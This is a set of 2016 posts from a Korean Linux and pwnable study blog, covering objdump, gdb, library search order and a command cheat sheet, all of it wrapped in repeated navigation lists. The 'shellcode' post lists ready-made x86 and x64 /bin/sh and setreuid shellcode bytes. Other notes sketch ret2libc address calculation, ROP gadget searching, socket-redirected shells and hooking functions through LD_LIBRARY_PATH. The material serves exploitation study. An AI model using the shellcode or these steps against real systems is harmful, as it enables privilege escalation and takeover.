'시스템 > 리눅스 기본' 카테고리의 다른 글
백그라운드 실행 명령어 (0) | 2016.10.20 |
---|---|
objdump 사용법 (0) | 2016.10.18 |
라이브러리 참조순서 (0) | 2016.10.15 |
알아두면 좋은 명령어 모음 (0) | 2016.10.13 |
gdb layout (0) | 2016.10.13 |
백그라운드 실행 명령어 (0) | 2016.10.20 |
---|---|
objdump 사용법 (0) | 2016.10.18 |
라이브러리 참조순서 (0) | 2016.10.15 |
알아두면 좋은 명령어 모음 (0) | 2016.10.13 |
gdb layout (0) | 2016.10.13 |
tail -f /tmp/race2.sh &
프로세스 죽이기
kill (%번호)
glibc 소스코드 (0) | 2016.12.27 |
---|---|
objdump 사용법 (0) | 2016.10.18 |
라이브러리 참조순서 (0) | 2016.10.15 |
알아두면 좋은 명령어 모음 (0) | 2016.10.13 |
gdb layout (0) | 2016.10.13 |
--help 쳐보면
많이 쓰는 옵션은
-D 옵션 -X 옵션 등이 있다
Usage: objdump <option(s)> <file(s)>
Display information from object <file(s)>.
At least one of the following switches must be given:
-a, --archive-headers Display archive header information
-f, --file-headers Display the contents of the overall file header
-p, --private-headers Display object format specific file header contents
-P, --private=OPT,OPT... Display object format specific contents
-h, --[section-]headers Display the contents of the section headers
-x, --all-headers Display the contents of all headers
-d, --disassemble Display assembler contents of executable sections
-D, --disassemble-all Display assembler contents of all sections
-S, --source Intermix source code with disassembly
-s, --full-contents Display the full contents of all sections requested
-g, --debugging Display debug information in object file
-e, --debugging-tags Display debug information using ctags style
-G, --stabs Display (in raw form) any STABS info in the file
-W[lLiaprmfFsoRt] or
--dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,
=frames-interp,=str,=loc,=Ranges,=pubtypes,
=gdb_index,=trace_info,=trace_abbrev,=trace_aranges]
Display DWARF info in the file
-t, --syms Display the contents of the symbol table(s)
-T, --dynamic-syms Display the contents of the dynamic symbol table
-r, --reloc Display the relocation entries in the file
-R, --dynamic-reloc Display the dynamic relocation entries in the file
@<file> Read options from <file>
-v, --version Display this program's version number
-i, --info List object formats and architectures supported
-H, --help Display this information
The following switches are optional:
-b, --target=BFDNAME Specify the target object format as BFDNAME
-m, --architecture=MACHINE Specify the target architecture as MACHINE
-j, --section=NAME Only display information for section NAME
-M, --disassembler-options=OPT Pass text OPT on to the disassembler
-EB --endian=big Assume big endian format when disassembling
-EL --endian=little Assume little endian format when disassembling
--file-start-context Include context from start of file (with -S)
-I, --include=DIR Add DIR to search list for source files
-l, --line-numbers Include line numbers and filenames in output
-F, --file-offsets Include file offsets when displaying information
-C, --demangle[=STYLE] Decode mangled/processed symbol names
The STYLE, if specified, can be `auto', `gnu',
`lucid', `arm', `hp', `edg', `gnu-v3', `java'
or `gnat'
-w, --wide Format output for more than 80 columns
-z, --disassemble-zeroes Do not skip blocks of zeroes when disassembling
--start-address=ADDR Only process data whose address is >= ADDR
--stop-address=ADDR Only process data whose address is <= ADDR
--prefix-addresses Print complete address alongside disassembly
--[no-]show-raw-insn Display hex alongside symbolic disassembly
--insn-width=WIDTH Display WIDTH bytes on a single line for -d
--adjust-vma=OFFSET Add OFFSET to all displayed section addresses
--special-syms Include special symbols in symbol dumps
--prefix=PREFIX Add PREFIX to absolute paths for -S
--prefix-strip=LEVEL Strip initial directory names for -S
--dwarf-depth=N Do not display DIEs at depth N or greater
--dwarf-start=N Display DIEs starting with N, at the same depth
or deeper
glibc 소스코드 (0) | 2016.12.27 |
---|---|
백그라운드 실행 명령어 (0) | 2016.10.20 |
라이브러리 참조순서 (0) | 2016.10.15 |
알아두면 좋은 명령어 모음 (0) | 2016.10.13 |
gdb layout (0) | 2016.10.13 |
DYNAMIC_SECTION의 NEED가 설정된 라이브러리
LD_LIBRARY_PATH
/etc/ld.so.conf(동적로더 공유라이브러리를 로드하고 참조함수 확인)
/lib, /usr/lib와 같은 표준 라이브러리 경로
따라서 LD_LIBRARY_PATH를 이용해서 표준 라이브러리 함수들을 후킹할 수 있음
<혹시 궁금한 사람을 위한 참고(내가 헷갈렸음)>
헤더와 라이브러리
1. 라이브러리와 헤더는 엄연히 다릅니다. 라이브러리는 기계어로 번역된 바이너리이며, 헤더는 컴파일러가 컴파일하기전.. 그러니까 프로그래머가 알아먹을 수 있고 c/c++의 문법에 맞게 작성되어있는 선언들의 집합입니다.
라이브러리를 사용하기 위해서는 해당 라이브러리의 헤더파일이 있어야합니다. 그래야지만 링커가 알아먹을수 있는 심볼네임을 컴파일러가 만들어내기 때문입니다.
컴파일러가 이런 헤더파일을 가지고 심볼네임을 만들어서 오브젝트 파일에 넣어주면 링커가 해당 심볼네임을 가지고 라이브러리를 뒤져서 링크를 하게 됩니다.
헤더가 여러개 모이는게 라이브러리가 아닙니다. 라이브러리는 컴파일된 바이너리이므로 소스파일의 컴파일된 산물인 오브젝트(리눅스의 경우에는 .o , 윈도우의 경우에는 .obj)파일을 여러개 모아놓은게 라이브러리입니다.
라이브러리의 확장자는 리눅스의 경우에는 .a, 윈도우의 경우에는 .lib입니다.
2. 제가 리눅스를 많이 안써봐서 말씀하신 위치 이외에 라이브러리와 헤더가 들어가는지는 모르겠습니다. (물론 나열하신 위치 말고도 다른 위치를 컴파일러 옵션으로 지정이 가능합니다.)
다만 나열하신 위치에 들어있는 파일들이 라이브러리와 헤더들입니다..
3. visual c보다는 visual c++이라고 하셔야 맞을거 같습니다.. 물론 6.0, .net 2003 .net 2003, .net2005과 같이 여러버전이 존재합니다.
4. 일반적으로 표준 c라이브러리는 대부분의 c컴파일러가 지원합니다. 표준 함수를 알고 계시면 대부분의 컴파일러에서 동일하게 소스를 바꾸지 않고 컴파일이 가능합니다.
5. 컴파일러와 라이브러리는 별개입니다. 컴파일러를 설치하면 들어있는 표준 c라이브러리도 사실 없어도 프로그램이 컴파일되는데는 문제가 없습니다. 대신 직접 모든걸 다 해줘야하는게 문제입니다. c언어의 시작 함수가 main이지만 실제로는 이 main함수를 호출하기전에 해주는 것이 많습니다. 그런걸 직접 일일이 만들어줘야하는 것이죠..
그리고 라이브러리는 c표준 라이브러리 뿐만 아니라 누구든지 라이브러리로 구성하면 그게 다 라이브러리입니다.
https://kldp.org/node/84138
*깨알 팁 : 라이브러리 주소는 어떤 바이너리든 동일하다고 한다
백그라운드 실행 명령어 (0) | 2016.10.20 |
---|---|
objdump 사용법 (0) | 2016.10.18 |
알아두면 좋은 명령어 모음 (0) | 2016.10.13 |
gdb layout (0) | 2016.10.13 |
find 명령어 정리 (0) | 2016.09.30 |
strace -fi
eip추적
ltrace -fi
라이브러리 추적
xxd
x/100s 0x0804800
문자열 찾기 쉬움!!
GNU 위치 0x08048174
메모리 맵
pid 보는법
gdb 돌린다음 info proc
gdb 에서 shell 치면 shell명령어 쓸수 있음
cat /proc/[pid]/maps
cat/proc/self/maps하면 지금 돌아가고 있는 맵스 볼 수 있음
bt
gdb디버깅중 프로그램이 죽었을 때 죽은 위치의 스택확인
ps -aux
실행중인 프로세스 목록
ldd 파일이름
프로그램실행시 로드되는 라이브러리 이름
plt주소 구하는법
그냥 어셈코드 보면됨
readelf -S
영역 주소
gcc -m32
32비트로 컴파일
strcpy("안쓰는 주소","/bin/sh") proc [pid]
libc 베이스 주소
python -c 'import sys; standout.~~ maps -> libc basic add구할수 있음 ->계산해서 offset구하기 libcstart-libc시작주소=libc basic add
system offset - start offset 구해서 basic add에 더하면 system주소구할수 있음
system offset=
return에 안쓰는주소(/bin/sh)덮어쓰기
gdb 에서 파이썬 인풋
r < <(python )
프로세스 서버 올리는 명령어(xinetd안될떄)
socat TCP-LISTEN:9999,reuseaddr,fork,bind=0.0.0.0 EXEC:"/home/rootbutcute/asdfas"
flush buffer
sudo socat TCP-LISTEN:7777,reuseaddr,fork,bind=0.0.0 exec:"stdbuf -i0 -o0 -e0 ./breakout"
socat TCP-LISTEN:7777,reuseaddr,fork,bind=0.0.0.0 exec:"./breakout",pty,ctty,echo=0
pop ret gadget찾을때
objdump -d (파일명) | grep -03 "ret"
<gadget찾기>
ROPgadget --binary (파일) -ropchain
<gadget string찾기>
ROPgadget --binary (파일 ) --string (문자)
자식프로세스를 디버깅
set follow-fork-mode child
0<&(fd)
fd에서 stdin으로 입력을 받음
1>&(fd)
출력을 fd로 전달
system('/bin/sh 0<&(fd) 1>&(fd)')하면
서버에서 쉘을 띄웠을때 stdin stdout에 입출력이 가능하다!!
<gdb reg eip 편하게 보기>
gdb -tui -q
layout asm
layout regs
끄기:
ctrl + x a
checksec
메모리 보호기법 뭐 걸려있는지 보여줌
objdump 사용법 (0) | 2016.10.18 |
---|---|
라이브러리 참조순서 (0) | 2016.10.15 |
gdb layout (0) | 2016.10.13 |
find 명령어 정리 (0) | 2016.09.30 |
shellcode (0) | 2016.09.20 |
gdb -tui
보기 되게 편한 것 같다
layout reg
layout asm
라이브러리 참조순서 (0) | 2016.10.15 |
---|---|
알아두면 좋은 명령어 모음 (0) | 2016.10.13 |
find 명령어 정리 (0) | 2016.09.30 |
shellcode (0) | 2016.09.20 |
gdb사용법/ 명령어 (0) | 2016.06.24 |
// 16 Byte, setreuid( geteuid() , geteuid() );
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80
// 25 Byte, shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
// 41 Byte
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
// 48 Byte, without \x2f
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
//64bit shellcode
\xA0\x20\x60\x00\x00\x00\x00\x00"+b"\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05
출처 : http://j4ckp4rd.tistory.com/44
라이브러리 참조순서 (0) | 2016.10.15 |
---|---|
알아두면 좋은 명령어 모음 (0) | 2016.10.13 |
gdb layout (0) | 2016.10.13 |
find 명령어 정리 (0) | 2016.09.30 |
gdb사용법/ 명령어 (0) | 2016.06.24 |
1. 사용
컴파일 할때 -g 옵션을 사용해서 컴파일 gcc -g -o (프로그램명) (소스파일명)
실행: gdb (프로그램명)
2. 종료
q, quit, ctrl+d
3. 소스보기 (list / l)
10줄씩 출력한다. (*출력단위 변경 ; set listsize (줄 단위) )
list : 메인함수 기준 출력
list (숫자) : 숫자를 기준으로 10줄 출력
list function : 함수 소스 출력
list - : 현재 출력된 리스트의 이전 행을 출력
4. 실행
(1) run /r : 이상이 발생했을때 오류가 생긴 부분도 출력해줌
(2) bt : back trace 의 약어로 오류가 생긴부분에서 그 전 과정을 보여준다.
(3) kill / k : 프로그램 종료
(4) step / s: 현재 행 실행. 함수안으로 들어갈 수 있음 (s 3 : step 3번한 결과)
(5) next / n : 현재 행 실행. 함수도 바로 실행(n 4: next 4번 결과)
* s/n다음에 i를 붙이면 어셈단위 실행 (si, ni)
(6) continue / c : 다음 bp까지 실행
(7) finish : 현재함수 수행 후 빠져나감
(8) return : 현재 함수 수행하지 않고 빠져나간다 (return (값) : 리턴값 지정 가능)
5. bp(break point 설정)
break / b
(1) break (행 번호) : 그 행에 bp 설정
(2) break (함수 이름) : 함수의 시작 부분에 bp 설정
(3) break (파일이름):(함수이름) : ~파일의 ~함수의 시작부분에 bp설정
(4) break +/- (숫자) : 현재에서 숫자만큼 더하거나 뺀부분에 bp설정
(5) break *0x111111: 특정 주소에 설정
(6) break ... if (조건) : 조건을 만족할때 bp설정
(7) tb : 1회용 bp
(8) info break : 현재 bp 정보
(9) cl : bp 지우기 delete (n) : 고유번호 n번의 bp지우기
(10) d : 모든 bp지우기
(11) watch (변수) : 특정 변수에 watch 를 설정하면 이 변수가 바뀔때마다 break 가 걸리면서 값을 출력
6. 변수 정보
info locals : 현재 상태의 지역변수와 값을 보여줌
info variables : 전역변수 리스트
info registers : 레지스터 전체 리스트
p/print (변수) : 변수 값
p (함수명) : 함수의 주소
중복된 변수가 있는 경우 ( 지역변수 우선 ) -> p '(파일명)'::(변수명) : -파일에 있는 전역변수 를 출력
포인터 변수의 경우 위의 방법으로 하면 주소값만 출력.
포인터 변수의 값 또는 포인터 구조체 등의 값을 보기 위해서는 * 를 붙여준다.
p *(변수)
p $(레지스터명)
print (함수명)::(변수명) : 특정 함수 내 변수
p명령어는 기본적으로 10진수로 출력한다.
다른진수로 출력하는 법
p/t (변수) 2진수
p/o (변수) 8진수
p/d (변수) 10진수
p/u (변수) 부호없는 10진수
p/x (변수) 16진수
p/c (변수) 최초 1바이트 값을 문자형으로
p/f (변수) 부동소수점값
p는 값을 설정하는 것도 가능
p (변수) = 값
7. 변수 디스플레이
display (변수) : 진행중 계속 변수 출력
undisplay (변수) : 디스플레이 없애기
disable/enable display (변수) : 일시정지/활성
8. 스택
frame / f
info f : 현재 스택프레임 정보
frame (프레임 번호) : ~번 프레임으로 이동
up : 상위 프레임 이동
down : 하위 프레임 이동
info args : 현재 스택 프레임 함수의 인자 출력
info locals : 현재 스택프레임 함수의 지역변수
9. 메모리 상태
x/(범위) (출력형식) (범위 단위) : 메모리 특정범위의 값 확인 (기본 단위 : 4 byte)
출력방식
-t : 2진수
-o : 8진수
-d / u : 부호없는 10진수
-x : 16진수
-c : 최초 1바이트 문자로 출력
-f : 부동소수점
-s : 문자열
-i : 어셈형식
범위 단위
-b : 1byte
-h : 2byte
-w : 4 byte
-g : 8byte
예시 : x/10tb main : main 함수로 부터 10 byte 를 2진수로 출력
x/10xg 0x1293834 : 주소로 부터 80byte를 8 byte 단위로 15진수로 출력
10. 디스 어셈블링
disas (함수이름)
disas (시작주소) (끝주소) : 어셈블리 코드를 보여줌
11. 함수 호출
call (함수이름)((인자1),(인자2)) : 특정함수 인자값으로 호출
12. 주소로 분기
jump *0x123532 : ~주소로 분기
jump (행번호) : ~행으로 분기
jump (함수) : -함수로 분기
13. 시그널
14. info 명령
15. 환경설정
라이브러리 참조순서 (0) | 2016.10.15 |
---|---|
알아두면 좋은 명령어 모음 (0) | 2016.10.13 |
gdb layout (0) | 2016.10.13 |
find 명령어 정리 (0) | 2016.09.30 |
shellcode (0) | 2016.09.20 |